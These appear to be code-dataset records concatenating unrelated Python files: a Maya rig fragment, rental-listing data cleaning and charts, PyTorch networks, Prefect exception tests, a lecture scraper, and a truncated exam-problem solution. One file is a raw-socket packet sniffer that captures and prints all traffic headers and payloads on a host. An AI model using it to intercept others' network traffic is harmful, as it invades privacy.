flip_length_axis, flip_orient_axis)\n btm_ctrl = create_loc(btm_obj, 'btm', obj_length_axis, obj_orient_axis, flip_length_axis, flip_orient_axis)\n \n pm.aimConstraint(top_ctrl, btm_obj, mo=True, aimVector=(0,1,0), upVector=(0,0,1), worldUpObject=btm_ctrl, worldUpType='objectrotation', worldUpVector=(0,0,1))\n pm.aimConstraint(btm_ctrl, top_obj, mo=True, aimVector=(0,-1,0), upVector=(0,0,1), worldUpObject=top_ctrl, worldUpType='objectrotation', worldUpVector=(0,0,1))\n \n pm.pointConstraint(btm_ctrl, btm_obj)\n pm.pointConstraint(top_ctrl, top_obj)\n \n\n#create_piston(sel[0], sel[1], 'z', 'y', flip_length_axis=False, flip_orient_axis=True)","sub_path":"piston_setup.py","file_name":"piston_setup.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"412755796","text":"import socket\nfrom ctypes import *\nimport struct\nimport binascii\nimport textwrap\n\nTAB_1 = '\\t - '\nTAB_2 = '\\t\\t - '\nTAB_3 = '\\t\\t\\t - '\nTAB_4 = '\\t\\t\\t\\t - '\n\n\nclass eth_header(Structure):\n\n _fields_ = [\n (\"dst_mac\", c_uint16 * 3),\n (\"src_mac\", c_uint16 * 3),\n (\"eth_proto\", c_ushort),\n ]\n\n def __new__(self, socket_buffer=None):\n return self.from_buffer_copy(socket_buffer)\n\n def __init__(self, socket_buffer=None):\n\n self.dmac = binascii.hexlify(self.dst_mac)\n self.smac = binascii.hexlify(self.src_mac)\n socket.htons(self.eth_proto)\n\n\nclass ip_header(Structure):\n\n _fields_ = [\n (\"version\", c_ubyte, 4),\n (\"ihl\", c_ubyte, 4),\n (\"tos\", c_ubyte),\n (\"len\", c_ushort),\n (\"id\", c_ushort),\n (\"offset\", c_ushort),\n (\"ttl\", c_ubyte),\n (\"proto\", c_ubyte),\n (\"checksum\", c_ushort),\n (\"src\", c_uint32),\n (\"dst\", c_uint32),\n ]\n\n def __new__(self, socket_buffer=None):\n return self.from_buffer_copy(socket_buffer)\n\n def __init__(self, socket_buffer=None):\n\n self.version = 4\n self.ihl = 5\n self.vihl = self.version * self.ihl\n\n self.src_address = socket.inet_ntoa(struct.pack(\"@I\", self.src))\n self.dst_address = socket.inet_ntoa(struct.pack(\"@I\", self.dst))\n\n self.protocol_map = {1: \"ICMP\", 6: \"TCP\", 17: \"UDP\"}\n try:\n self.protocol = self.protocol_map[self.proto]\n except:\n self.protocol = str(self.proto)\n\n\nclass tcp_header(Structure):\n _fields_ = [\n (\"src\", c_ushort),\n (\"dst\", c_ushort),\n (\"sq_no\", c_uint32),\n (\"ack_no\", c_uint32),\n (\"offset\", c_ubyte, 4),\n (\"res\", c_ubyte, 4),\n (\"flags\", c_ubyte),\n (\"window\", c_ushort),\n (\"Tcheckcsum\", c_ushort),\n (\"pointer\", c_ushort)\n ]\n\n\n def __new__(self, socket_buffer=None):\n return self.from_buffer_copy(socket_buffer)\n\n\n def __init__(self, socket_buffer=None):\n\n self.src_port = socket.ntohs(self.src)\n self.dst_port = socket.ntohs(self.dst)\n\nhost = ''\nsniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))\n#sniffer.bind((host, 0))\n\nwhile True:\n\n data = sniffer.recvfrom(65535)[0]\n frame = eth_header(data[:14])\n print(TAB_1 + 'Ethernet Frame:')\n print(TAB_2 + 'Destination MAC: {}, Source MAC: {}, Type: {},'.format(frame.dmac, frame.smac, frame.eth_proto))\n\n ip = ip_header(data[14:])\n if frame.eth_proto == 8:\n\n print(TAB_1 + 'IPv4 Packet:')\n print(TAB_2 + 'Version: {}, Header Length: {},'.format(ip.version, ip.vihl))\n print(TAB_2 + 'Protocol: {}, Source: {}, Target: {}'.format(ip.protocol, ip.src_address, ip.dst_address))\n\n\n if ip.protocol == 'TCP':\n tcp = tcp_header(data[34:])\n print(TAB_1 + 'TCP Header:')\n print(TAB_2 + 'Source Port {}, Destination Port {},'.format(tcp.src_port, tcp.dst_port))\n\n print(TAB_1 + 'data: {},'.format(data[54:]))\n print(\"\\n\\n\")\n","sub_path":"PACKET_SNIFFER.py","file_name":"PACKET_SNIFFER.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"643948749","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 20l20-10-22\n\nAuthhor: NGC-6543\n\"\"\"\n\nimport pandas as pd\nimport datetime # convert dates to timespan since 2016-01-04 (scrape date)\nimport math # check for NaN's \nimport os\n\nos.getcwd()\n# os.chdir('./')\n# os.getcwd()\n\n\n###############################################################################\n## Listings file data cleaning \n\n## Import listings.csv\nlistings_import = pd.read_csv('./source_data/listings.csv')\n\n## keep only the desired fields\nlistingsDF = pd.DataFrame(listings_import, columns=[\n'id'\n,'host_id'\n,'host_since'\n,'host_location'\n,'host_response_time'\n,'host_response_rate'\n,'host_is_superhost'\n,'host_neighbourhood'\n,'host_has_profile_pic'\n,'host_identity_verified'\n,'neighbourhood'\n,'neighbourhood_group_cleansed'\n,'zipcode'\n,'latitude'\n,'longitude'\n,'property_type'\n,'room_type'\n,'accommodates'\n,'bathrooms'\n,'bedrooms'\n,'beds'\n,'bed_type'\n,'price'\n,'weekly_price'\n,'monthly_price'\n,'security_deposit'\n,'cleaning_fee'\n,'guests_included'\n,'extra_people'\n,'minimum_nights'\n,'maximum_nights'\n,'calendar_updated'\n,'availability_30'\n,'availability_60'\n,'availability_90'\n,'availability_365'\n,'number_of_reviews'\n,'first_review'\n,'last_review'\n,'review_scores_rating'\n,'review_scores_accuracy'\n,'review_scores_cleanliness'\n,'review_scores_checkin'\n,'review_scores_communication'\n,'review_scores_location'\n,'review_scores_value'\n,'instant_bookable'\n,'cancellation_policy'\n,'require_guest_profile_picture'\n,'require_guest_phone_verification'\n,'calculated_host_listings_count'\n,'reviews_per_month'\n])\n\n# drop the unused DF\ndel listings_import\n\n## remove records that were dropped in the calendar file due to incorrect entry\nlistingsDF = listingsDF.loc[ ~listingsDF['id'].isin(['3308979','2715623','7733192','2459519','4825073']) ]\n\n## drop these two records because they have mostly null values\nlistingsDF = listingsDF.loc[ ~listingsDF['id'].isin(['8354452','10235014']) ]\n\n# replace bad zipcode containing newline character with corrected zipcode\nlistingsDF.loc[listingsDF['id'] == 9448215,'zipcode'] = '98122'\n\n\n###############################################################################\n## Listings file data transformation\n\n## replace all 't/f' columns with 1/0\n\n#listingsDF.info()\n\n## check if 't' then replace with 1 else 0\n#--- Function def\ndef item_replace(xstr):\n \n if xstr == 't':\n x = 1\n else:\n x = 0\n \n \n return x\n#---\nlistingsDF['host_is_superhost'] = listingsDF['host_is_superhost'].map(item_replace)\nlistingsDF['host_has_profile_pic'] = listingsDF['host_has_profile_pic'].map(item_replace)\nlistingsDF['host_identity_verified'] = listingsDF['host_identity_verified'].map(item_replace)\nlistingsDF['instant_bookable'] = listingsDF['instant_bookable'].map(item_replace)\nlistingsDF['require_guest_profile_picture'] = listingsDF['require_guest_profile_picture'].map(item_replace)\nlistingsDF['require_guest_phone_verification'] = listingsDF['require_guest_phone_verification'].map(item_replace)\n\n\n## Update dates to time intervals in days by \n## determining the time elapsed since 2016-01-04 (scrape date)\n## ignore empty values (nan's)\n#--- Function def\ndef date_replace(xstr):\n if type(xstr)!=float:\n xstr = int( (datetime.datetime(2016,1,4) - datetime.datetime.strptime(xstr, \"%Y-%m-%d\")).days )\n return xstr\n#---\nlistingsDF['host_since'] = listingsDF['host_since'].map(date_replace)\nlistingsDF['first_review'] = listingsDF['first_review'].map(date_replace)\nlistingsDF['last_review'] = listingsDF['last_review'].map(date_replace)\n\n\n# check to make sure pandas functions ignore missing values\n#listingsDF.to_csv('./listingsDF_check.csv', index=False)\n#listingsDF['first_review'].mean() # mean ignores NaNs.\n#listingsDF['first_review'].count() # even count ignores NaNs.\n\n\n## check if host_location is in seattle, ignore nan's\n#--- Function def\ndef test_str(xstr):\n if type(xstr)!=float:\n if 'seattle' in xstr.lower():\n xstr = 1\n else:\n xstr = 0\n return xstr\n#---\nlistingsDF['host_location'] = listingsDF['host_location'].map(test_str)\n\n## check if host neighbourhood matches neighbourhood, if yes then 1 else 0 (nan's in either or both will be false)\nlistingsDF.loc[listingsDF['host_neighbourhood'] == listingsDF['neighbourhood'],'host_neighbourhood'] = 1\nlistingsDF.loc[listingsDF['host_neighbourhood'] != 1,'host_neighbourhood'] = 0\n\n## drop neighbourhood column since it is not needed anymore\ndel listingsDF['neighbourhood']\n\n## check if bed_type matches 'Real Bed', if yes then 1 else 0\nlistingsDF.loc[listingsDF['bed_type'] == 'Real Bed','bed_type'] = 1\nlistingsDF.loc[listingsDF['bed_type'] != 1,'bed_type'] = 0\n\n## check property type matches, condense to 3 possible choices\nlistingsDF.loc[ (listingsDF['property_type'] == 'House') | (listingsDF['property_type'] == 'Townhouse') ,'property_type'] = 'House'\nlistingsDF.loc[ (listingsDF['property_type'] == 'Apartment') | (listingsDF['property_type'] == 'Condominium') ,'property_type'] = 'Apartment'\nlistingsDF.loc[ (listingsDF['property_type'] != 'House') & (listingsDF['property_type'] != 'Apartment') ,'property_type'] = 'Other'\n\n## check when calendar last updated, condense to two possible choices\nlistingsDF.loc[ (listingsDF['calendar_updated'] == 'today')\n | (listingsDF['calendar_updated'] == 'yesterday')\n | (listingsDF['calendar_updated'] == '2 days ago')\n | (listingsDF['calendar_updated'] == '3 days ago')\n | (listingsDF['calendar_updated'] == '4 days ago')\n | (listingsDF['calendar_updated'] == '5 days ago')\n | (listingsDF['calendar_updated'] == '6 days ago')\n , 'calendar_updated'] = 1\nlistingsDF.loc[ listingsDF['calendar_updated'] != 1 , 'calendar_updated'] = 0 \n\n## if host_response_time is 'N/A' replace with 'unknown' \nlistingsDF.loc[ (listingsDF['host_response_time'] == 'N/A') , 'host_response_time'] = 'unknown'\n\n## replace string currency with float values\n#--- Function def\ndef replace_currency(xstr):\n if type(xstr)!=float:\n xstr = str.replace(xstr,'$','')\n xstr = str.replace(xstr,',','')\n xstr = float(xstr)\n return xstr\n#---\nlistingsDF['price'] = listingsDF['price'].map(replace_currency)\nlistingsDF['weekly_price'] = listingsDF['weekly_price'].map(replace_currency)\nlistingsDF['monthly_price'] = listingsDF['monthly_price'].map(replace_currency)\nlistingsDF['security_deposit'] = listingsDF['security_deposit'].map(replace_currency)\nlistingsDF['cleaning_fee'] = listingsDF['cleaning_fee'].map(replace_currency)\nlistingsDF['extra_people'] = listingsDF['extra_people'].map(replace_currency)\n\n## replace string percentages with float values\n#--- Function def\ndef replace_pct(xstr):\n if type(xstr)!=float:\n xstr = str.replace(xstr,'%','')\n xstr = float(xstr)\n xstr = xstr * .01\n return xstr\n#---\nlistingsDF['host_response_rate'] = listingsDF['host_response_rate'].map(replace_pct) \n\n\n## replace with missing values in host_response_rate bedrooms bathrooms and beds with mean\ndef replaceNaN(mean, value):\n \n if math.isnan(value):\n value = mean\n \n return value\n#---\n \nlistingsDF['host_response_rate'] = listingsDF['host_response_rate'].apply(lambda x: replaceNaN(listingsDF['host_response_rate'].mean(),x))\nlistingsDF['bathrooms'] = listingsDF['bathrooms'].apply(lambda x: replaceNaN(round(listingsDF['bathrooms'].mean(),2),x))\nlistingsDF['bedrooms'] = listingsDF['bedrooms'].apply(lambda x: replaceNaN(round(listingsDF['bedrooms'].mean(),2),x))\nlistingsDF['beds'] = listingsDF['beds'].apply(lambda x: replaceNaN(round(listingsDF['beds'].mean(),2),x))\n\n## replace missing zipcodes with the most common zipcode for that neighborhood\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Queen Anne') ,'zipcode'] = '98109'\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Ballard') ,'zipcode'] = '98107'\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Interbay') ,'zipcode'] = '98119'\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Capitol Hill') ,'zipcode'] = '98102'\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Central Area') ,'zipcode'] = '98122'\nlistingsDF.loc[ (listingsDF['zipcode'] == '') & (listingsDF['neighbourhood_group_cleansed'] == 'Downtown') ,'zipcode'] = '98101'\n\n\n###############################################################################\n## Calendar file data cleaning\n\n## Import calendar.csv\ncalendar_import = pd.read_csv('./source_data/calendar.csv')\n\n\n## remove records that were coded incorrectly\ncalendar_import = calendar_import.loc[ ~calendar_import['listing_id'].isin(['3308979','2715623','7733192','2459519','4825073']) ]\n\n# remove any rows in cal_sum that have the following listing ids (based on analysis of listings file)\ncalendar_import = calendar_import.loc[ ~calendar_import['listing_id'].isin(['8354452','10235014']) ]\n\n## check if 't' then replace with 1 else 0\n#--- Function def\ndef item_replace(xstr):\n \n if xstr == 't':\n x = 1\n else:\n x = 0\n \n return x\n#---\ncalendar_import['available'] = calendar_import['available'].map(item_replace)\n\n#calendar_import.info()\n\n## get the sum of available days for each listing for the year and put in new dataframe\ndf1 = calendar_import.groupby('listing_id')['available'].sum()\n\n## use replace currency function (above) to replace string values with float\ncalendar_import['price'] = calendar_import['price'].map(replace_currency) \n\n## get the mean of price for each listing for the year and put in new dataframe\ndf2 = calendar_import.groupby('listing_id')['price'].mean() \n\n## round the mean price to two decimals\n#--- Function def\ndef round_currency(xstr):\n xstr = round(xstr,2)\n return xstr\n#---\ndf2 = df2.map(round_currency)\n\n## merge the two summary dataframes\ndf1 = df1.reset_index()\ndf2 = df2.reset_index()\ncalendarDF = pd.merge(df1,\n df2,\n how='inner',\n on='listing_id')\n\ncalendarDF = calendarDF.rename(\n columns={\"listing_id\":\"id\", \"price\":\"price_avg\",\"available\":\"avail\"})\n \ndel df1,df2,calendar_import\n\n## merge with calendar file (must have run calendar file first)\n\nlistingsDF = pd.merge(listingsDF,\n calendarDF,\n how='inner',\n on='id')\n\ndel calendarDF\n\n###############################################################################\n## Create two fields with bins for categorizing availability and avg_price\n\n\nlistingsDF['AvailCat'] = 0\nlistingsDF.loc[ (listingsDF['avail'] >= 0) & (listingsDF['avail'] <=124), 'AvailCat' ] = 1\nlistingsDF.loc[ (listingsDF['avail'] >= 125) & (listingsDF['avail'] <=308), 'AvailCat' ] = 2\nlistingsDF.loc[ (listingsDF['avail'] >= 309) & (listingsDF['avail'] <=360), 'AvailCat' ] = 3\nlistingsDF.loc[ (listingsDF['avail'] >= 361) & (listingsDF['avail'] <=365), 'AvailCat' ] = 4\n\nlistingsDF['PriceCat'] = 0\nlistingsDF.loc[ (listingsDF['price_avg'] >= 20) & (listingsDF['price_avg'] <=76), 'PriceCat' ] = 1\nlistingsDF.loc[ (listingsDF['price_avg'] >= 76.06) & (listingsDF['price_avg'] <=109), 'PriceCat' ] = 2\nlistingsDF.loc[ (listingsDF['price_avg'] >= 109.29) & (listingsDF['price_avg'] <=163.14), 'PriceCat' ] = 3\nlistingsDF.loc[ (listingsDF['price_avg'] >= 163.25) & (listingsDF['price_avg'] <=1071), 'PriceCat' ] = 4\n\n###########################################################################\n## remove 'other'-coded neighbourhoods and drop all rows with empty values\n\nlistingsDF = listingsDF.loc[ listingsDF['neighbourhood_group_cleansed'] != 'Other neighborhoods' ]\n\n\n###############################################################################\n## Create summary data tables and visualizations\n\n#import matplotlib.rcsetup as rcsetup\n#print(rcsetup.all_backends) # looking into rendering issues\n#import matplotlib.pyplot as plt; plt.rcdefaults()\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n## Count and availability of properties\n\n# get tables\nnb_count = listingsDF.groupby('neighbourhood_group_cleansed')['zipcode'].count()\nnb_avail = listingsDF.groupby('neighbourhood_group_cleansed')['avail'].mean()\n\n# convert index to column\nnb_count = nb_count.reset_index()\nnb_avail = nb_avail.reset_index()\n\n# sorting can be done by value:\nnb_count = nb_count.sort_values(by='zipcode', ascending=False)\nnb_avail = nb_avail.sort_values(by='avail', ascending=False)\n\n# round decimals on available:\nnb_avail['avail'] = round(nb_avail['avail'],1)\n\n# rename columns\nnb_count = nb_count.rename(columns={\"neighbourhood_group_cleansed\":\"neighborhood\",\"zipcode\":\"count\"})\nnb_avail = nb_avail.rename(columns={\"neighbourhood_group_cleansed\":\"neighborhood\",\"avail\":\"avg days avail\"})\n\n# write out csv\n#nb_count.to_csv('nb_count.csv', columns=['neighborhood', 'count'], sep=',', index=False)\n#nb_avail.to_csv('nb_avail.csv', columns=['neighborhood', 'avg days avail'], sep=',', index=False)\n\n# create visual: nb_avail\nobjects = tuple(nb_avail['neighborhood'])\ny_pos = np.arange(len(objects))\nplt.bar(y_pos, list(nb_avail['avg days avail']), align='center', alpha=0.5)\nplt.xticks(y_pos, objects, rotation=90)\nplt.ylabel('avg days available')\nplt.title('Availability by Neighborhood')\nplt.tight_layout()\nfig1 = plt.gcf()\n#plt.savefig('test2')\nplt.show()\nplt.draw()\nfig1.savefig('./images/nb_avail.png')\n\n\n# create visual: nb_count\nobjects = tuple(nb_count['neighborhood'])\ny_pos = np.arange(len(objects))\nplt.bar(y_pos, list(nb_count['count']), align='center', alpha=0.5)\nplt.xticks(y_pos, objects, rotation=90)\nplt.ylabel('Count')\nplt.title('Listings by Neighborhood')\nplt.tight_layout()\n\nfig1 = plt.gcf()\nplt.show()\nplt.draw()\nfig1.savefig('./images/nb_count.png')\n\n\n###############################################################################\n## lowest, average, and highest price properties\n\n# get tables\nnb_min_price = listingsDF.groupby('neighbourhood_group_cleansed')['price_avg'].min()\nnb_mean_price = listingsDF.groupby('neighbourhood_group_cleansed')['price_avg'].mean()\nnb_max_price = listingsDF.groupby('neighbourhood_group_cleansed')['price_avg'].max()\n\n# reset index\nnb_min_price = nb_min_price.reset_index()\nnb_mean_price = nb_mean_price.reset_index()\nnb_max_price = nb_max_price.reset_index()\n\n# merge tables\nnb_price = pd.merge(nb_min_price,nb_mean_price,how='inner',on='neighbourhood_group_cleansed')\nnb_price = pd.merge(nb_price,nb_max_price,how='inner',on='neighbourhood_group_cleansed')\n\n# drop unused\ndel nb_min_price,nb_mean_price,nb_max_price\n\n# rename cols\nnb_price = nb_price.rename(columns={\"neighbourhood_group_cleansed\":\"neighborhood\",\"price_avg_x\":\"min\",\"price_avg_y\":\"avg\",\"price_avg\":\"max\"})\n\n# sorting can be done by value:\nnb_price = nb_price.sort_values(by='avg', ascending=False)\n\n# round decimals on available:\nnb_price['min'] = round(nb_price['min'],1)\nnb_price['avg'] = round(nb_price['avg'],1)\nnb_price['max'] = round(nb_price['max'],1)\n\n# print csv\n#nb_price.to_csv('nb_price.csv', columns=['neighborhood', 'min', 'avg', 'max'], sep=',', index=False)\n\n\n# create visual: nb_price\nobjects = tuple(nb_price['neighborhood'])\nn_groups = len(objects)\nprice_mins = tuple(nb_price['min'])\nprice_avgs = tuple(nb_price['avg'])\nprice_maxs = tuple(nb_price['max'])\n\nfig, ax = plt.subplots()\nindex = np.arange(n_groups)\nindex = index*2\n\nbar_width = 0.5\nopacity = 0.8\n\nrects1 = plt.bar(index - bar_width, price_mins, bar_width,\nalpha=opacity,\ncolor='b',\nlabel='min')\n\nrects2 = plt.bar(index, price_avgs, bar_width,\nalpha=opacity,\ncolor='g',\nlabel='avg')\n\nrects3 = plt.bar(index + bar_width, price_maxs, bar_width,\nalpha=opacity,\ncolor='r',\nlabel='max')\n\nplt.ylabel('Price')\nplt.title('Prices by Neighborhood')\nplt.xticks(index, objects, rotation=90)\nplt.legend()\nplt.tight_layout()\n\nfig1 = plt.gcf()\nplt.show()\nplt.draw()\nfig1.savefig('./images/nb_price.png')\n\n\n###############################################################################\n## Count by property types in each neighborhood\n\n# group by neighborhood and property type\nnb_count_property_type = listingsDF.groupby(['neighbourhood_group_cleansed','property_type'])['zipcode'].count()\n\n# reset index\nnb_count_property_type = nb_count_property_type.reset_index()\n\n# pivot the table to get more columns\nnb_count_property_type = nb_count_property_type.pivot(index = 'neighbourhood_group_cleansed'\n ,columns = 'property_type'\n ,values = 'zipcode')\n\n# reset the index again\nnb_count_property_type = nb_count_property_type.reset_index()\n\n# sort by number of apartments\nnb_count_property_type = nb_count_property_type.sort_values(by='Apartment', ascending=False)\n\n# rename cols\nnb_count_property_type = nb_count_property_type.rename(columns={\"neighbourhood_group_cleansed\":\"neighborhood\",\"Apartment\":\"Apartment\",\"House\":\"House\",\"Other\":\"Other\"})\n\n# print csv\n#nb_count_property_type.to_csv('nb_count_property_type.csv', columns=['neighborhood', 'Apartment', 'House', 'Other'], sep=',', index=False)\n\n\n# create visual nb_count_property_type\nobjects = tuple(nb_count_property_type['neighborhood'])\nn_groups = len(objects)\nmeans_apt = tuple(nb_count_property_type['Apartment'])\nmeans_house = tuple(nb_count_property_type['House'])\nmeans_other = tuple(nb_count_property_type['Other'])\n\nfig, ax = plt.subplots()\nindex = np.arange(n_groups)\nindex = index*2\n\nbar_width = 0.5\nopacity = 0.8\n\nrects1 = plt.bar(index - bar_width, means_apt, bar_width,\nalpha=opacity,\ncolor='b',\nlabel='Apartment')\n\nrects2 = plt.bar(index, means_house, bar_width,\nalpha=opacity,\ncolor='g',\nlabel='House')\n\nrects3 = plt.bar(index + bar_width, means_other, bar_width,\nalpha=opacity,\ncolor='r',\nlabel='Other')\n\nplt.ylabel('Count')\nplt.title('Property type by Neighborhood')\nplt.xticks(index, objects, rotation=90)\nplt.legend()\n\nplt.tight_layout()\n\nfig1 = plt.gcf()\nplt.show()\nplt.draw()\nfig1.savefig('./images/nb_count_property_type.png')\n\n###############################################################################\n## User ratings in each neighborhood\n\n# group\nnb_mean_rating = listingsDF.groupby('neighbourhood_group_cleansed')['review_scores_rating'].mean()\n\n# reset index\nnb_mean_rating = nb_mean_rating.reset_index()\n\n# rename\nnb_rating = nb_mean_rating\n\n# sort by number of apartments\nnb_rating = nb_rating.sort_values(by='review_scores_rating', ascending=False)\n\n# rename cols\nnb_rating = nb_rating.rename(columns={\"neighbourhood_group_cleansed\":\"neighborhood\",\"review_scores_rating\":\"Avg Rating\"})\n\n# round decimals:\nnb_rating['Avg Rating'] = round(nb_rating['Avg Rating'],1)\n\n# print csv\n#nb_rating.to_csv('nb_rating.csv', columns=['neighborhood', 'Avg Rating'], sep=',', index=False)\n\n\n# create visual nb_rating\n\nobjects = tuple(nb_rating['neighborhood'])\ny_pos = np.arange(len(objects))\nplt.bar(y_pos, list(nb_rating['Avg Rating']), align='center', alpha=0.5)\nplt.xticks(y_pos, objects, rotation=90)\nplt.ylabel('Rating')\nplt.title('Mean Rating by Neighborhood')\nplt.tight_layout()\n\nfig1 = plt.gcf()\nplt.show()\nplt.draw()\nfig1.savefig('./images/nb_rating.png')\n","sub_path":"listings.py","file_name":"listings.py","file_ext":"py","file_size_in_byte":19191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"137793598","text":"import torch\n\n\nclass PolicyNetwork(torch.nn.Module):\n def __init__(self, state_dim, action_dim, discrete):\n super(PolicyNetwork, self).__init__()\n self.net = torch.nn.Sequential(\n torch.nn.Linear(state_dim, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, action_dim), # , bias=False),\n )\n\n self.state_dim = state_dim\n self.action_dim = action_dim\n self.discrete = discrete\n\n if not self.discrete:\n self.log_std = torch.nn.Parameter(torch.zeros(action_dim))\n\n def forward(self, states):\n if self.discrete:\n probs = torch.nn.functional.softmax(self.net(states))\n distb = torch.distributions.Categorical(probs)\n else:\n mean = self.net(states)\n\n std = torch.exp(self.log_std)\n cov_mtx = torch.eye(self.action_dim) * (std ** 2)\n\n distb = torch.distributions.MultivariateNormal(mean, cov_mtx)\n\n return distb\n\n\nclass ValueNetwork(torch.nn.Module):\n def __init__(self, state_dim):\n super(ValueNetwork, self).__init__()\n self.net = torch.nn.Sequential(\n torch.nn.Linear(state_dim, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, 50),\n torch.nn.Tanh(),\n torch.nn.Linear(50, 1),\n )\n\n def forward(self, states):\n return self.net(states)\n","sub_path":"models/nets.py","file_name":"nets.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"146327791","text":"import pytest\n\nfrom prefect.utilities.exceptions import (\n PrefectError,\n ClientError as OldClientError,\n AuthorizationError as OldAuthorizationError,\n StorageError,\n SerializationError,\n TaskTimeoutError,\n ContextError,\n VersionLockError,\n)\nfrom prefect.exceptions import (\n PrefectException,\n ClientError,\n AuthorizationError,\n VersionLockMismatchSignal,\n TaskTimeoutSignal,\n FlowStorageError,\n)\n\n\n@pytest.mark.parametrize(\n \"old_err,new_err\",\n [\n (PrefectError, PrefectException),\n (OldClientError, ClientError),\n (OldAuthorizationError, AuthorizationError),\n (StorageError, FlowStorageError),\n ],\n)\ndef test_new_exceptions_can_be_caught_by_old(old_err, new_err):\n raises = False\n try:\n raise new_err(\"message\")\n except old_err as exc:\n assert str(exc) == \"message\"\n raises = True\n\n assert raises\n\n\n@pytest.mark.parametrize(\n \"err_cls\",\n [\n PrefectError,\n OldClientError,\n OldAuthorizationError,\n SerializationError,\n TaskTimeoutError,\n StorageError,\n VersionLockError,\n ContextError,\n VersionLockError,\n ],\n)\ndef test_old_exceptions_warn_on_creation(err_cls):\n with pytest.warns(UserWarning, match=f\"prefect.utilities.exceptions\"):\n err_cls()\n\n\n@pytest.mark.parametrize(\n \"err_cls\",\n [\n PrefectException,\n ClientError,\n AuthorizationError,\n FlowStorageError,\n VersionLockMismatchSignal,\n TaskTimeoutSignal,\n ],\n)\ndef test_new_exceptions_do_not_warn_on_creation(err_cls):\n with pytest.warns(None) as warnings:\n err_cls()\n if warnings:\n raise AssertionError(\n \"Warnings raised:\\n\" + \"\\n\".join([str(w) for w in warnings])\n )\n","sub_path":"tests/test_exceptions.py","file_name":"test_exceptions.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"50884681","text":"import re\nimport requests\nfrom flask import jsonify\nfrom bs4 import BeautifulSoup\n\n\nLESSONS_PATTERNS = {\n 'lblSubject': re.compile('.*_lblSubject'),\n 'lblRabi': re.compile('.*_lblRabi'),\n 'hlName': re.compile('.*hlName'),\n 'hlSerieName': re.compile('.*_hlSerieName'),\n 'lblDate': re.compile('.*_lblDate'),\n 'lbllength': re.compile('.*_lbllength'),\n 'hlVideo': re.compile('.*_hlVideo'),\n 'hlAudio': re.compile('.*_hlAudio'),\n\n}\n\n\ndef get_list_lessons(url):\n try:\n response = requests.get(url)\n except:\n return False, jsonify(status=\"Error\", url=url, msg=\"Error. Invalid URL\")\n if not response.ok:\n return False, jsonify(status=\"Error\", url=url, msg=\"Error. Invalid URL\")\n list_lectures = []\n html_soup = BeautifulSoup(response.text, 'html.parser')\n tables = html_soup.find_all('table', class_='tableClass2')\n table = tables[0]\n trs = table.find_all('tr')[1:]\n tr = trs[0]\n for index, tr in enumerate(trs):\n lecure = {}\n tds = tr.find_all('td', class_='row')\n # tds = [td for td in tds if 'hiddenCol' not in str(td)]\n lecure['subject'] = getattr(\n tr.find(\"span\", {\"id\": LESSONS_PATTERNS['lblSubject']}), 'text', '')\n lecure['rabi'] = getattr(\n tr.find(\"span\", {\"id\": LESSONS_PATTERNS['lblRabi']}), 'text', '')\n lecure['name'] = getattr(\n tr.find(\"a\", {\"id\": LESSONS_PATTERNS['hlName']}), 'text', '')\n lecure['serieName'] = getattr(\n tr.find(\"a\", {\"id\": LESSONS_PATTERNS['hlSerieName']}), 'text', '')\n lecure['date'] = getattr(\n tr.find(\"span\", {\"id\": LESSONS_PATTERNS['lblDate']}), 'text', '')\n lecure['length'] = getattr(\n tr.find(\"span\", {\"id\": LESSONS_PATTERNS['lbllength']}), 'text', '')\n link_video = tr.find(\"a\", {\"id\": LESSONS_PATTERNS['hlVideo']})\n lecure['videoLink'] = '' if not link_video else link_video.attrs['href']\n link_audio = tr.find(\"a\", {\"id\": LESSONS_PATTERNS['hlAudio']})\n lecure['audioLink'] = '' if not link_audio else link_audio.attrs['href']\n\n list_lectures.append(lecure)\n\n return True, list_lectures\n","sub_path":"backend/routes/requests_utils.py","file_name":"requests_utils.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"571212861","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n-------------------------------------------------\r\nЗадача C4-102.\r\nРешение на языке Python 3.\r\n-------------------------------------------------\r\n102) (А.Г. Минак) На вход программы поступает последовательность \r\nиз N целых положительных чисел, все числа в последовательности \r\nразличны. Рассматриваются все пары различных элементов \r\nпоследовательности, находящихся на расстоянии не больше \r\nчем 7 (разница в индексах элементов пары должна быть 7 или менее, \r\nпорядок элементов в паре неважен). Необходимо определить \r\nколичество таких пар, для которых сумма элементов не делится на 8.\r\nОписание входных и выходных данных\r\nВ первой строке входных данных задаётся количество чисел \r\nN (8 ≤ N ≤ 1000). В каждой из последующих N строк записано \r\nодно целое положительное число, не превышающее 10 000.\r\nВ качестве результата программа должна вывести одно число: \r\nколичество пар элементов, находящихся в последовательности \r\nна расстоянии не более чем 7, в которых сумма элементов не кратна 8.\r\nПример входных данных:\r\n10\r\n17 \r\n4 \r\n1 